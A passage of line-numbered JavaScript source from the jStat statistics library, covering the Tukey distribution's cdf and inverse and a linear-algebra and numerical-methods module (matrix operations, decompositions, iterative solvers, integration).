Math.log(twa1 + (xlegq[j] * ulen)))) 3109 | - (((xlegq[j] * ulen) + twa1) * ff4); 3110 | } else { 3111 | j = jj - 1; 3112 | t1 = (f2lf + (f21 * Math.log(twa1 - (xlegq[j] * ulen)))) 3113 | + (((xlegq[j] * ulen) - twa1) * ff4); 3114 | } 3115 | 3116 | // if exp(t1) < 9e-14, then doesn't contribute to integral 3117 | var qsqz; 3118 | if (t1 >= eps1) { 3119 | if (ihalfq < jj) { 3120 | qsqz = q * Math.sqrt(((xlegq[j] * ulen) + twa1) * 0.5); 3121 | } else { 3122 | qsqz = q * Math.sqrt(((-(xlegq[j] * ulen)) + twa1) * 0.5); 3123 | } 3124 | 3125 | // call wprob to find integral of range portion 3126 | 3127 | var wprb = tukeyWprob(qsqz, rr, cc); 3128 | var rotsum = (wprb * alegq[j]) * Math.exp(t1); 3129 | otsum += rotsum; 3130 | } 3131 | // end legendre integral for interval i 3132 | // L200: 3133 | } 3134 | 3135 | // if integral for interval i < 1e-14, then stop. 3136 | // However, in order to avoid small area under left tail, 3137 | // at least 1 / ulen intervals are calculated. 3138 | if (i * ulen >= 1.0 && otsum <= eps2) 3139 | break; 3140 | 3141 | // end of interval i 3142 | // L330: 3143 | 3144 | ans += otsum; 3145 | } 3146 | 3147 | if (otsum > eps2) { // not converged 3148 | throw new Error('tukey.cdf failed to converge'); 3149 | } 3150 | if (ans > 1) 3151 | ans = 1; 3152 | return ans; 3153 | }, 3154 | 3155 | inv: function(p, nmeans, df) { 3156 | // Identical implementation as the R qtukey() function as of commit 68947 3157 | var rr = 1; 3158 | var cc = nmeans; 3159 | 3160 | var eps = 0.0001; 3161 | var maxiter = 50; 3162 | 3163 | // df must be > 1 ; there must be at least two values 3164 | if (df < 2 || rr < 1 || cc < 2) return NaN; 3165 | 3166 | if (p < 0 || p > 1) return NaN; 3167 | if (p === 0) return 0; 3168 | if (p === 1) return Infinity; 3169 | 3170 | // Initial value 3171 | 3172 | var x0 = tukeyQinv(p, cc, df); 3173 | 3174 | // Find prob(value < x0) 3175 | 3176 | var valx0 = jStat.tukey.cdf(x0, nmeans, df) - p; 3177 | 3178 | // Find the second iterate and prob(value < x1). 3179 | // If the first iterate has probability value 3180 | // exceeding p then second iterate is 1 less than 3181 | // first iterate; otherwise it is 1 greater. 3182 | 3183 | var x1; 3184 | if (valx0 > 0.0) 3185 | x1 = Math.max(0.0, x0 - 1.0); 3186 | else 3187 | x1 = x0 + 1.0; 3188 | var valx1 = jStat.tukey.cdf(x1, nmeans, df) - p; 3189 | 3190 | // Find new iterate 3191 | 3192 | var ans; 3193 | for(var iter = 1; iter < maxiter; iter++) { 3194 | ans = x1 - ((valx1 * (x1 - x0)) / (valx1 - valx0)); 3195 | valx0 = valx1; 3196 | 3197 | // New iterate must be >= 0 3198 | 3199 | x0 = x1; 3200 | if (ans < 0.0) { 3201 | ans = 0.0; 3202 | valx1 = -p; 3203 | } 3204 | // Find prob(value < new iterate) 3205 | 3206 | valx1 = jStat.tukey.cdf(ans, nmeans, df) - p; 3207 | x1 = ans; 3208 | 3209 | // If the difference between two successive 3210 | // iterates is less than eps, stop 3211 | 3212 | var xabs = Math.abs(x1 - x0); 3213 | if (xabs < eps) 3214 | return ans; 3215 | } 3216 | 3217 | throw new Error('tukey.inv failed to converge'); 3218 | } 3219 | }); 3220 | 3221 | }(jStat, Math)); 3222 | /* Provides functions for the solution of linear system of equations, integration, extrapolation, 3223 | * interpolation, eigenvalue problems, differential equations and PCA analysis. */ 3224 | 3225 | (function(jStat, Math) { 3226 | 3227 | var push = Array.prototype.push; 3228 | var isArray = jStat.utils.isArray; 3229 | 3230 | function isUsable(arg) { 3231 | return isArray(arg) || arg instanceof jStat; 3232 | } 3233 | 3234 | jStat.extend({ 3235 | 3236 | // add a vector/matrix to a vector/matrix or scalar 3237 | add: function add(arr, arg) { 3238 | // check if arg is a vector or scalar 3239 | if (isUsable(arg)) { 3240 | if (!isUsable(arg[0])) arg = [ arg ]; 3241 | return jStat.map(arr, function(value, row, col) { 3242 | return value + arg[row][col]; 3243 | }); 3244 | } 3245 | return jStat.map(arr, function(value) { return value + arg; }); 3246 | }, 3247 | 3248 | // subtract a vector or scalar from the vector 3249 | subtract: function subtract(arr, arg) { 3250 | // check if arg is a vector or scalar 3251 | if (isUsable(arg)) { 3252 | if (!isUsable(arg[0])) arg = [ arg ]; 3253 | return jStat.map(arr, function(value, row, col) { 3254 | return value - arg[row][col] || 0; 3255 | }); 3256 | } 3257 | return jStat.map(arr, function(value) { return value - arg; }); 3258 | }, 3259 | 3260 | // matrix division 3261 | divide: function divide(arr, arg) { 3262 | if (isUsable(arg)) { 3263 | if (!isUsable(arg[0])) arg = [ arg ]; 3264 | return jStat.multiply(arr, jStat.inv(arg)); 3265 | } 3266 | return jStat.map(arr, function(value) { return value / arg; }); 3267 | }, 3268 | 3269 | // matrix multiplication 3270 | multiply: function multiply(arr, arg) { 3271 | var row, col, nrescols, sum, nrow, ncol, res, rescols; 3272 | // eg: arr = 2 arg = 3 -> 6 for res[0][0] statement closure 3273 | if (arr.length === undefined && arg.length === undefined) { 3274 | return arr * arg; 3275 | } 3276 | nrow = arr.length, 3277 | ncol = arr[0].length, 3278 | res = jStat.zeros(nrow, nrescols = (isUsable(arg)) ? arg[0].length : ncol), 3279 | rescols = 0; 3280 | if (isUsable(arg)) { 3281 | for (; rescols < nrescols; rescols++) { 3282 | for (row = 0; row < nrow; row++) { 3283 | sum = 0; 3284 | for (col = 0; col < ncol; col++) 3285 | sum += arr[row][col] * arg[col][rescols]; 3286 | res[row][rescols] = sum; 3287 | } 3288 | } 3289 | return (nrow === 1 && rescols === 1) ? res[0][0] : res; 3290 | } 3291 | return jStat.map(arr, function(value) { return value * arg; }); 3292 | }, 3293 | 3294 | // outer([1,2,3],[4,5,6]) 3295 | // === 3296 | // [[1],[2],[3]] times [[4,5,6]] 3297 | // -> 3298 | // [[4,5,6],[8,10,12],[12,15,18]] 3299 | outer:function outer(A, B) { 3300 | return jStat.multiply(A.map(function(t){ return [t] }), [B]); 3301 | }, 3302 | 3303 | 3304 | // Returns the dot product of two matricies 3305 | dot: function dot(arr, arg) { 3306 | if (!isUsable(arr[0])) arr = [ arr ]; 3307 | if (!isUsable(arg[0])) arg = [ arg ]; 3308 | // convert column to row vector 3309 | var left = (arr[0].length === 1 && arr.length !== 1) ? jStat.transpose(arr) : arr, 3310 | right = (arg[0].length === 1 && arg.length !== 1) ? jStat.transpose(arg) : arg, 3311 | res = [], 3312 | row = 0, 3313 | nrow = left.length, 3314 | ncol = left[0].length, 3315 | sum, col; 3316 | for (; row < nrow; row++) { 3317 | res[row] = []; 3318 | sum = 0; 3319 | for (col = 0; col < ncol; col++) 3320 | sum += left[row][col] * right[row][col]; 3321 | res[row] = sum; 3322 | } 3323 | return (res.length === 1) ? res[0] : res; 3324 | }, 3325 | 3326 | // raise every element by a scalar 3327 | pow: function pow(arr, arg) { 3328 | return jStat.map(arr, function(value) { return Math.pow(value, arg); }); 3329 | }, 3330 | 3331 | // exponentiate every element 3332 | exp: function exp(arr) { 3333 | return jStat.map(arr, function(value) { return Math.exp(value); }); 3334 | }, 3335 | 3336 | // generate the natural log of every element 3337 | log: function exp(arr) { 3338 | return jStat.map(arr, function(value) { return Math.log(value); }); 3339 | }, 3340 | 3341 | // generate the absolute values of the vector 3342 | abs: function abs(arr) { 3343 | return jStat.map(arr, function(value) { return Math.abs(value); }); 3344 | }, 3345 | 3346 | // computes the p-norm of the vector 3347 | // In the case that a matrix is passed, uses the first row as the vector 3348 | norm: function norm(arr, p) { 3349 | var nnorm = 0, 3350 | i = 0; 3351 | // check the p-value of the norm, and set for most common case 3352 | if (isNaN(p)) p = 2; 3353 | // check if multi-dimensional array, and make vector correction 3354 | if (isUsable(arr[0])) arr = arr[0]; 3355 | // vector norm 3356 | for (; i < arr.length; i++) { 3357 | nnorm += Math.pow(Math.abs(arr[i]), p); 3358 | } 3359 | return Math.pow(nnorm, 1 / p); 3360 | }, 3361 | 3362 | // computes the angle between two vectors in rads 3363 | // In case a matrix is passed, this uses the first row as the vector 3364 | angle: function angle(arr, arg) { 3365 | return Math.acos(jStat.dot(arr, arg) / (jStat.norm(arr) * jStat.norm(arg))); 3366 | }, 3367 | 3368 | // augment one matrix by another 3369 | // Note: this function returns a matrix, not a jStat object 3370 | aug: function aug(a, b) { 3371 | var newarr = []; 3372 | for (var i = 0; i < a.length; i++) { 3373 | newarr.push(a[i].slice()); 3374 | } 3375 | for (var i = 0; i < newarr.length; i++) { 3376 | push.apply(newarr[i], b[i]); 3377 | } 3378 | return newarr; 3379 | }, 3380 | 3381 | // The inv() function calculates the inverse of a matrix 3382 | // Create the inverse by augmenting the matrix by the identity matrix of the 3383 | // appropriate size, and then use G-J elimination on the augmented matrix. 3384 | inv: function inv(a) { 3385 | var rows = a.length; 3386 | var cols = a[0].length; 3387 | var b = jStat.identity(rows, cols); 3388 | var c = jStat.gauss_jordan(a, b); 3389 | var result = []; 3390 | var i = 0; 3391 | var j; 3392 | 3393 | //We need to copy the inverse portion to a new matrix to rid G-J artifacts 3394 | for (; i < rows; i++) { 3395 | result[i] = []; 3396 | for (j = cols; j < c[0].length; j++) 3397 | result[i][j - cols] = c[i][j]; 3398 | } 3399 | return result; 3400 | }, 3401 | 3402 | // calculate the determinant of a matrix 3403 | det: function det(a) { 3404 | var alen = a.length, 3405 | alend = alen * 2, 3406 | vals = new Array(alend), 3407 | rowshift = alen - 1, 3408 | colshift = alend - 1, 3409 | mrow = rowshift - alen + 1, 3410 | mcol = colshift, 3411 | i = 0, 3412 | result = 0, 3413 | j; 3414 | // check for special 2x2 case 3415 | if (alen === 2) { 3416 | return a[0][0] * a[1][1] - a[0][1] * a[1][0]; 3417 | } 3418 | for (; i < alend; i++) { 3419 | vals[i] = 1; 3420 | } 3421 | for (var i = 0; i < alen; i++) { 3422 | for (j = 0; j < alen; j++) { 3423 | vals[(mrow < 0) ? mrow + alen : mrow ] *= a[i][j]; 3424 | vals[(mcol < alen) ? mcol + alen : mcol ] *= a[i][j]; 3425 | mrow++; 3426 | mcol--; 3427 | } 3428 | mrow = --rowshift - alen + 1; 3429 | mcol = --colshift; 3430 | } 3431 | for (var i = 0; i < alen; i++) { 3432 | result += vals[i]; 3433 | } 3434 | for (; i < alend; i++) { 3435 | result -= vals[i]; 3436 | } 3437 | return result; 3438 | }, 3439 | 3440 | gauss_elimination: function gauss_elimination(a, b) { 3441 | var i = 0, 3442 | j = 0, 3443 | n = a.length, 3444 | m = a[0].length, 3445 | factor = 1, 3446 | sum = 0, 3447 | x = [], 3448 | maug, pivot, temp, k; 3449 | a = jStat.aug(a, b); 3450 | maug = a[0].length; 3451 | for(var i = 0; i < n; i++) { 3452 | pivot = a[i][i]; 3453 | j = i; 3454 | for (k = i + 1; k < m; k++) { 3455 | if (pivot < Math.abs(a[k][i])) { 3456 | pivot = a[k][i]; 3457 | j = k; 3458 | } 3459 | } 3460 | if (j != i) { 3461 | for(k = 0; k < maug; k++) { 3462 | temp = a[i][k]; 3463 | a[i][k] = a[j][k]; 3464 | a[j][k] = temp; 3465 | } 3466 | } 3467 | for (j = i + 1; j < n; j++) { 3468 | factor = a[j][i] / a[i][i]; 3469 | for(k = i; k < maug; k++) { 3470 | a[j][k] = a[j][k] - factor * a[i][k]; 3471 | } 3472 | } 3473 | } 3474 | for (var i = n - 1; i >= 0; i--) { 3475 | sum = 0; 3476 | for (j = i + 1; j<= n - 1; j++) { 3477 | sum = sum + x[j] * a[i][j]; 3478 | } 3479 | x[i] =(a[i][maug - 1] - sum) / a[i][i]; 3480 | } 3481 | return x; 3482 | }, 3483 | 3484 | gauss_jordan: function gauss_jordan(a, b) { 3485 | var m = jStat.aug(a, b), 3486 | h = m.length, 3487 | w = m[0].length; 3488 | var c = 0; 3489 | // find max pivot 3490 | for (var y = 0; y < h; y++) { 3491 | var maxrow = y; 3492 | for (var y2 = y+1; y2 < h; y2++) { 3493 | if (Math.abs(m[y2][y]) > Math.abs(m[maxrow][y])) 3494 | maxrow = y2; 3495 | } 3496 | var tmp = m[y]; 3497 | m[y] = m[maxrow]; 3498 | m[maxrow] = tmp 3499 | for (var y2 = y+1; y2 < h; y2++) { 3500 | c = m[y2][y] / m[y][y]; 3501 | for (var x = y; x < w; x++) { 3502 | m[y2][x] -= m[y][x] * c; 3503 | } 3504 | } 3505 | } 3506 | // backsubstitute 3507 | for (var y = h-1; y >= 0; y--) { 3508 | c = m[y][y]; 3509 | for (var y2 = 0; y2 < y; y2++) { 3510 | for (var x = w-1; x > y-1; x--) { 3511 | m[y2][x] -= m[y][x] * m[y2][y] / c; 3512 | } 3513 | } 3514 | m[y][y] /= c; 3515 | for (var x = h; x < w; x++) { 3516 | m[y][x] /= c; 3517 | } 3518 | } 3519 | return m; 3520 | }, 3521 | 3522 | // solve equation 3523 | // Ax=b 3524 | // A is upper triangular matrix 3525 | // A=[[1,2,3],[0,4,5],[0,6,7]] 3526 | // b=[1,2,3] 3527 | // triaUpSolve(A,b) // -> [2.666,0.1666,1.666] 3528 | // if you use matrix style 3529 | // A=[[1,2,3],[0,4,5],[0,6,7]] 3530 | // b=[[1],[2],[3]] 3531 | // will return [[2.666],[0.1666],[1.666]] 3532 | triaUpSolve: function triaUpSolve(A, b) { 3533 | var size = A[0].length; 3534 | var x = jStat.zeros(1, size)[0]; 3535 | var parts; 3536 | var matrix_mode = false; 3537 | 3538 | if (b[0].length != undefined) { 3539 | b = b.map(function(i){ return i[0] }); 3540 | matrix_mode = true; 3541 | } 3542 | 3543 | jStat.arange(size - 1, -1, -1).forEach(function(i) { 3544 | parts = jStat.arange(i + 1, size).map(function(j) { 3545 | return x[j] * A[i][j]; 3546 | }); 3547 | x[i] = (b[i] - jStat.sum(parts)) / A[i][i]; 3548 | }); 3549 | 3550 | if (matrix_mode) 3551 | return x.map(function(i){ return [i] }); 3552 | return x; 3553 | }, 3554 | 3555 | triaLowSolve: function triaLowSolve(A, b) { 3556 | // like to triaUpSolve but A is lower triangular matrix 3557 | var size = A[0].length; 3558 | var x = jStat.zeros(1, size)[0]; 3559 | var parts; 3560 | 3561 | var matrix_mode=false; 3562 | if (b[0].length != undefined) { 3563 | b = b.map(function(i){ return i[0] }); 3564 | matrix_mode = true; 3565 | } 3566 | 3567 | jStat.arange(size).forEach(function(i) { 3568 | parts = jStat.arange(i).map(function(j) { 3569 | return A[i][j] * x[j]; 3570 | }); 3571 | x[i] = (b[i] - jStat.sum(parts)) / A[i][i]; 3572 | }) 3573 | 3574 | if (matrix_mode) 3575 | return x.map(function(i){ return [i] }); 3576 | return x; 3577 | }, 3578 | 3579 | 3580 | // A -> [L,U] 3581 | // A=LU 3582 | // L is lower triangular matrix 3583 | // U is upper triangular matrix 3584 | lu: function lu(A) { 3585 | var size = A.length; 3586 | //var L=jStat.diagonal(jStat.ones(1,size)[0]); 3587 | var L = jStat.identity(size); 3588 | var R = jStat.zeros(A.length, A[0].length); 3589 | var parts; 3590 | jStat.arange(size).forEach(function(t) { 3591 | R[0][t] = A[0][t]; 3592 | }); 3593 | jStat.arange(1, size).forEach(function(l) { 3594 | jStat.arange(l).forEach(function(i) { 3595 | parts = jStat.arange(i).map(function(jj) { 3596 | return L[l][jj] * R[jj][i]; 3597 | }); 3598 | L[l][i] = (A[l][i] - jStat.sum(parts)) / R[i][i]; 3599 | }); 3600 | jStat.arange(l, size).forEach(function(j) { 3601 | parts = jStat.arange(l).map(function(jj) { 3602 | return L[l][jj] * R[jj][j]; 3603 | }); 3604 | R[l][j] = A[i][j] - jStat.sum(parts); 3605 | }); 3606 | }); 3607 | return [L, R]; 3608 | }, 3609 | 3610 | // A -> T 3611 | // A=TT' 3612 | // T is lower triangular matrix 3613 | cholesky: function cholesky(A) { 3614 | var size = A.length; 3615 | var T = jStat.zeros(A.length, A[0].length); 3616 | var parts; 3617 | jStat.arange(size).forEach(function(i) { 3618 | parts = jStat.arange(i).map(function(t) { 3619 | return Math.pow(T[i][t],2); 3620 | }); 3621 | T[i][i] = Math.sqrt(A[i][i] - jStat.sum(parts)); 3622 | jStat.arange(i + 1, size).forEach(function(j) { 3623 | parts = jStat.arange(i).map(function(t) { 3624 | return T[i][t] * T[j][t]; 3625 | }); 3626 | T[j][i] = (A[i][j] - jStat.sum(parts)) / T[i][i]; 3627 | }); 3628 | }); 3629 | return T; 3630 | }, 3631 | 3632 | 3633 | gauss_jacobi: function gauss_jacobi(a, b, x, r) { 3634 | var i = 0; 3635 | var j = 0; 3636 | var n = a.length; 3637 | var l = []; 3638 | var u = []; 3639 | var d = []; 3640 | var xv, c, h, xk; 3641 | for (; i < n; i++) { 3642 | l[i] = []; 3643 | u[i] = []; 3644 | d[i] = []; 3645 | for (j = 0; j < n; j++) { 3646 | if (i > j) { 3647 | l[i][j] = a[i][j]; 3648 | u[i][j] = d[i][j] = 0; 3649 | } else if (i < j) { 3650 | u[i][j] = a[i][j]; 3651 | l[i][j] = d[i][j] = 0; 3652 | } else { 3653 | d[i][j] = a[i][j]; 3654 | l[i][j] = u[i][j] = 0; 3655 | } 3656 | } 3657 | } 3658 | h = jStat.multiply(jStat.multiply(jStat.inv(d), jStat.add(l, u)), -1); 3659 | c = jStat.multiply(jStat.inv(d), b); 3660 | xv = x; 3661 | xk = jStat.add(jStat.multiply(h, x), c); 3662 | i = 2; 3663 | while (Math.abs(jStat.norm(jStat.subtract(xk,xv))) > r) { 3664 | xv = xk; 3665 | xk = jStat.add(jStat.multiply(h, xv), c); 3666 | i++; 3667 | } 3668 | return xk; 3669 | }, 3670 | 3671 | gauss_seidel: function gauss_seidel(a, b, x, r) { 3672 | var i = 0; 3673 | var n = a.length; 3674 | var l = []; 3675 | var u = []; 3676 | var d = []; 3677 | var j, xv, c, h, xk; 3678 | for (; i < n; i++) { 3679 | l[i] = []; 3680 | u[i] = []; 3681 | d[i] = []; 3682 | for (j = 0; j < n; j++) { 3683 | if (i > j) { 3684 | l[i][j] = a[i][j]; 3685 | u[i][j] = d[i][j] = 0; 3686 | } else if (i < j) { 3687 | u[i][j] = a[i][j]; 3688 | l[i][j] = d[i][j] = 0; 3689 | } else { 3690 | d[i][j] = a[i][j]; 3691 | l[i][j] = u[i][j] = 0; 3692 | } 3693 | } 3694 | } 3695 | h = jStat.multiply(jStat.multiply(jStat.inv(jStat.add(d, l)), u), -1); 3696 | c = jStat.multiply(jStat.inv(jStat.add(d, l)), b); 3697 | xv = x; 3698 | xk = jStat.add(jStat.multiply(h, x), c); 3699 | i = 2; 3700 | while (Math.abs(jStat.norm(jStat.subtract(xk, xv))) > r) { 3701 | xv = xk; 3702 | xk = jStat.add(jStat.multiply(h, xv), c); 3703 | i = i + 1; 3704 | } 3705 | return xk; 3706 | }, 3707 | 3708 | SOR: function SOR(a, b, x, r, w) { 3709 | var i = 0; 3710 | var n = a.length; 3711 | var l = []; 3712 | var u = []; 3713 | var d = []; 3714 | var j, xv, c, h, xk; 3715 | for (; i < n; i++) { 3716 | l[i] = []; 3717 | u[i] = []; 3718 | d[i] = []; 3719 | for (j = 0; j < n; j++) { 3720 | if (i > j) { 3721 | l[i][j] = a[i][j]; 3722 | u[i][j] = d[i][j] = 0; 3723 | } else if (i < j) { 3724 | u[i][j] = a[i][j]; 3725 | l[i][j] = d[i][j] = 0; 3726 | } else { 3727 | d[i][j] = a[i][j]; 3728 | l[i][j] = u[i][j] = 0; 3729 | } 3730 | } 3731 | } 3732 | h = jStat.multiply(jStat.inv(jStat.add(d, jStat.multiply(l, w))), 3733 | jStat.subtract(jStat.multiply(d, 1 - w), 3734 | jStat.multiply(u, w))); 3735 | c = jStat.multiply(jStat.multiply(jStat.inv(jStat.add(d, 3736 | jStat.multiply(l, w))), b), w); 3737 | xv = x; 3738 | xk = jStat.add(jStat.multiply(h, x), c); 3739 | i = 2; 3740 | while (Math.abs(jStat.norm(jStat.subtract(xk, xv))) > r) { 3741 | xv = xk; 3742 | xk = jStat.add(jStat.multiply(h, xv), c); 3743 | i++; 3744 | } 3745 | return xk; 3746 | }, 3747 | 3748 | householder: function householder(a) { 3749 | var m = a.length; 3750 | var n = a[0].length; 3751 | var i = 0; 3752 | var w = []; 3753 | var p = []; 3754 | var alpha, r, k, j, factor; 3755 | for (; i < m - 1; i++) { 3756 | alpha = 0; 3757 | for (j = i + 1; j < n; j++) 3758 | alpha += (a[j][i] * a[j][i]); 3759 | factor = (a[i + 1][i] > 0) ? -1 : 1; 3760 | alpha = factor * Math.sqrt(alpha); 3761 | r = Math.sqrt((((alpha * alpha) - a[i + 1][i] * alpha) / 2)); 3762 | w = jStat.zeros(m, 1); 3763 | w[i + 1][0] = (a[i + 1][i] - alpha) / (2 * r); 3764 | for (k = i + 2; k < m; k++) w[k][0] = a[k][i] / (2 * r); 3765 | p = jStat.subtract(jStat.identity(m, n), 3766 | jStat.multiply(jStat.multiply(w, jStat.transpose(w)), 2)); 3767 | a = jStat.multiply(p, jStat.multiply(a, p)); 3768 | } 3769 | return a; 3770 | }, 3771 | 3772 | // A -> [Q,R] 3773 | // Q is orthogonal matrix 3774 | // R is upper triangular 3775 | QR: (function() { 3776 | // x -> Q 3777 | // find a orthogonal matrix Q st. 3778 | // Qx=y 3779 | // y is [||x||,0,0,...] 3780 | 3781 | // quick ref 3782 | var sum = jStat.sum; 3783 | var range = jStat.arange; 3784 | 3785 | function get_Q1(x) { 3786 | var size = x.length; 3787 | var norm_x = jStat.norm(x, 2); 3788 | var e1 = jStat.zeros(1, size)[0]; 3789 | e1[0] = 1; 3790 | var u = jStat.add(jStat.multiply(jStat.multiply(e1, norm_x), -1), x); 3791 | var norm_u = jStat.norm(u, 2); 3792 | var v = jStat.divide(u, norm_u); 3793 | var Q = jStat.subtract(jStat.identity(size), 3794 | jStat.multiply(jStat.outer(v, v), 2)); 3795 | return Q; 3796 | } 3797 | 3798 | function qr(A) { 3799 | var size = A[0].length; 3800 | var QList = []; 3801 | jStat.arange(size).forEach(function(i) { 3802 | var x = jStat.slice(A, { row: { start: i }, col: i }); 3803 | var Q = get_Q1(x); 3804 | var Qn = jStat.identity(A.length); 3805 | Qn = jStat.sliceAssign(Qn, { row: { start: i }, col: { start: i }}, Q); 3806 | A = jStat.multiply(Qn, A); 3807 | QList.push(Qn); 3808 | }); 3809 | var Q = QList.reduce(function(x, y){ return jStat.multiply(x,y) }); 3810 | var R = A; 3811 | return [Q, R]; 3812 | } 3813 | 3814 | function qr2(x) { 3815 | // quick impletation 3816 | // https://www.stat.wisc.edu/~larget/math496/qr.html 3817 | 3818 | var n = x.length; 3819 | var p = x[0].length; 3820 | 3821 | x = jStat.copy(x); 3822 | r = jStat.zeros(p, p); 3823 | 3824 | var i,j,k; 3825 | for(j = 0; j < p; j++){ 3826 | r[j][j] = Math.sqrt(sum(range(n).map(function(i){ 3827 | return x[i][j] * x[i][j]; 3828 | }))); 3829 | for(i = 0; i < n; i++){ 3830 | x[i][j] = x[i][j] / r[j][j]; 3831 | } 3832 | for(k = j+1; k < p; k++){ 3833 | r[j][k] = sum(range(n).map(function(i){ 3834 | return x[i][j] * x[i][k]; 3835 | })); 3836 | for(i = 0; i < n; i++){ 3837 | x[i][k] = x[i][k] - x[i][j]*r[j][k]; 3838 | } 3839 | } 3840 | } 3841 | return [x, r]; 3842 | } 3843 | 3844 | return qr2; 3845 | }()), 3846 | 3847 | lstsq: (function(A, b) { 3848 | // solve least squard problem for Ax=b as QR decomposition way if b is 3849 | // [[b1],[b2],[b3]] form will return [[x1],[x2],[x3]] array form solution 3850 | // else b is [b1,b2,b3] form will return [x1,x2,x3] array form solution 3851 | function R_I(A) { 3852 | A = jStat.copy(A); 3853 | var size = A.length; 3854 | var I = jStat.identity(size); 3855 | jStat.arange(size - 1, -1, -1).forEach(function(i) { 3856 | jStat.sliceAssign( 3857 | I, { row: i }, jStat.divide(jStat.slice(I, { row: i }), A[i][i])); 3858 | jStat.sliceAssign( 3859 | A, { row: i }, jStat.divide(jStat.slice(A, { row: i }), A[i][i])); 3860 | jStat.arange(i).forEach(function(j) { 3861 | var c = jStat.multiply(A[j][i], -1); 3862 | var Aj = jStat.slice(A, { row: j }); 3863 | var cAi = jStat.multiply(jStat.slice(A, { row: i }), c); 3864 | jStat.sliceAssign(A, { row: j }, jStat.add(Aj, cAi)); 3865 | var Ij = jStat.slice(I, { row: j }); 3866 | var cIi = jStat.multiply(jStat.slice(I, { row: i }), c); 3867 | jStat.sliceAssign(I, { row: j }, jStat.add(Ij, cIi)); 3868 | }) 3869 | }); 3870 | return I; 3871 | } 3872 | 3873 | function qr_solve(A, b){ 3874 | var array_mode = false; 3875 | if (b[0].length === undefined) { 3876 | // [c1,c2,c3] mode 3877 | b = b.map(function(x){ return [x] }); 3878 | array_mode = true; 3879 | } 3880 | var QR = jStat.QR(A); 3881 | var Q = QR[0]; 3882 | var R = QR[1]; 3883 | var attrs = A[0].length; 3884 | var Q1 = jStat.slice(Q,{col:{end:attrs}}); 3885 | var R1 = jStat.slice(R,{row:{end:attrs}}); 3886 | var RI = R_I(R1); 3887 | var Q2 = jStat.transpose(Q1); 3888 | 3889 | if(Q2[0].length === undefined){ 3890 | Q2 = [Q2]; // The confusing jStat.multifly implementation threat nature process again. 3891 | } 3892 | 3893 | var x = jStat.multiply(jStat.multiply(RI, Q2), b); 3894 | 3895 | if(x.length === undefined){ 3896 | x = [[x]]; // The confusing jStat.multifly implementation threat nature process again. 3897 | } 3898 | 3899 | 3900 | if (array_mode) 3901 | return x.map(function(i){ return i[0] }); 3902 | return x; 3903 | } 3904 | 3905 | return qr_solve; 3906 | }()), 3907 | 3908 | jacobi: function jacobi(a) { 3909 | var condition = 1; 3910 | var count = 0; 3911 | var n = a.length; 3912 | var e = jStat.identity(n, n); 3913 | var ev = []; 3914 | var b, i, j, p, q, maxim, theta, s; 3915 | // condition === 1 only if tolerance is not reached 3916 | while (condition === 1) { 3917 | count++; 3918 | maxim = a[0][1]; 3919 | p = 0; 3920 | q = 1; 3921 | for (var i = 0; i < n; i++) { 3922 | for (j = 0; j < n; j++) { 3923 | if (i != j) { 3924 | if (maxim < Math.abs(a[i][j])) { 3925 | maxim = Math.abs(a[i][j]); 3926 | p = i; 3927 | q = j; 3928 | } 3929 | } 3930 | } 3931 | } 3932 | if (a[p][p] === a[q][q]) 3933 | theta = (a[p][q] > 0) ? Math.PI / 4 : -Math.PI / 4; 3934 | else 3935 | theta = Math.atan(2 * a[p][q] / (a[p][p] - a[q][q])) / 2; 3936 | s = jStat.identity(n, n); 3937 | s[p][p] = Math.cos(theta); 3938 | s[p][q] = -Math.sin(theta); 3939 | s[q][p] = Math.sin(theta); 3940 | s[q][q] = Math.cos(theta); 3941 | // eigen vector matrix 3942 | e = jStat.multiply(e, s); 3943 | b = jStat.multiply(jStat.multiply(jStat.inv(s), a), s); 3944 | a = b; 3945 | condition = 0; 3946 | for (var i = 1; i < n; i++) { 3947 | for (j = 1; j < n; j++) { 3948 | if (i != j && Math.abs(a[i][j]) > 0.001) { 3949 | condition = 1; 3950 | } 3951 | } 3952 | } 3953 | } 3954 | for (var i = 0; i < n; i++) ev.push(a[i][i]); 3955 | //returns both the eigenvalue and eigenmatrix 3956 | return [e, ev]; 3957 | }, 3958 | 3959 | rungekutta: function rungekutta(f, h, p, t_j, u_j, order) { 3960 | var k1, k2, u_j1, k3, k4; 3961 | if (order === 2) { 3962 | while (t_j <= p) { 3963 | k1 = h * f(t_j, u_j); 3964 | k2 = h * f(t_j + h, u_j + k1); 3965 | u_j1 = u_j + (k1 + k2) / 2; 3966 | u_j = u_j1; 3967 | t_j = t_j + h; 3968 | } 3969 | } 3970 | if (order === 4) { 3971 | while (t_j <= p) { 3972 | k1 = h * f(t_j, u_j); 3973 | k2 = h * f(t_j + h / 2, u_j + k1 / 2); 3974 | k3 = h * f(t_j + h / 2, u_j + k2 / 2); 3975 | k4 = h * f(t_j +h, u_j + k3); 3976 | u_j1 = u_j + (k1 + 2 * k2 + 2 * k3 + k4) / 6; 3977 | u_j = u_j1; 3978 | t_j = t_j + h; 3979 | } 3980 | } 3981 | return u_j; 3982 | }, 3983 | 3984 | romberg: function romberg(f, a, b, order) { 3985 | var i = 0; 3986 | var h = (b - a) / 2; 3987 | var x = []; 3988 | var h1 = []; 3989 | var g = []; 3990 | var m, a1, j, k, I, d; 3991 | while (i < order / 2) { 3992 | I = f(a); 3993 | for (j = a, k = 0; j <= b; j = j + h, k++) x[k] = j; 3994 | m = x.length; 3995 | for (j = 1; j < m - 1; j++) { 3996 | I += (((j % 2) !== 0) ? 4 : 2) * f(x[j]); 3997 | } 3998 | I = (h / 3) * (I + f(b)); 3999 | g[i] = I; 4000 | h /= 2; 4001 | i++; 4002 | } 4003 | a1 = g.length; 4004 | m = 1; 4005 | while (a1 !== 1) { 4006 | for (j = 0; j < a1 - 1; j++) 4007 | h1[j] = ((Math.pow(4, m)) * g[j + 1] - g[j]) / (Math.pow(4, m) - 1); 4008 | a1 = h1.length; 4009 | g = h1; 4010 | h1 = []; 4011 | m++; 4012 | } 4013 | return g; 4014 | }, 4015 | 4016 | richardson: function richardson(X, f, x, h) { 4017 | function pos(X, x) { 4018 | var i = 0; 4019 | var n = X.length; 4020 | var p; 4021 | for (; i < n; i++) 4022 | if (X[i] === x) p = i; 4023 | return p; 4024 | } 4025 | var n = X.length, 4026 | h_min = Math.abs(x - X[pos(X, x) + 1]), 4027 | i = 0, 4028 | g = [], 4029 | h1 = [], 4030 | y1, y2, m, a, j; 4031 | while (h >= h_min) { 4032 | y1 = pos(X, x + h); 4033 | y2 = pos(X, x); 4034 | g[i] = (f[y1] - 2 * f[y2] + f[2 * y2 - y1]) / (h * 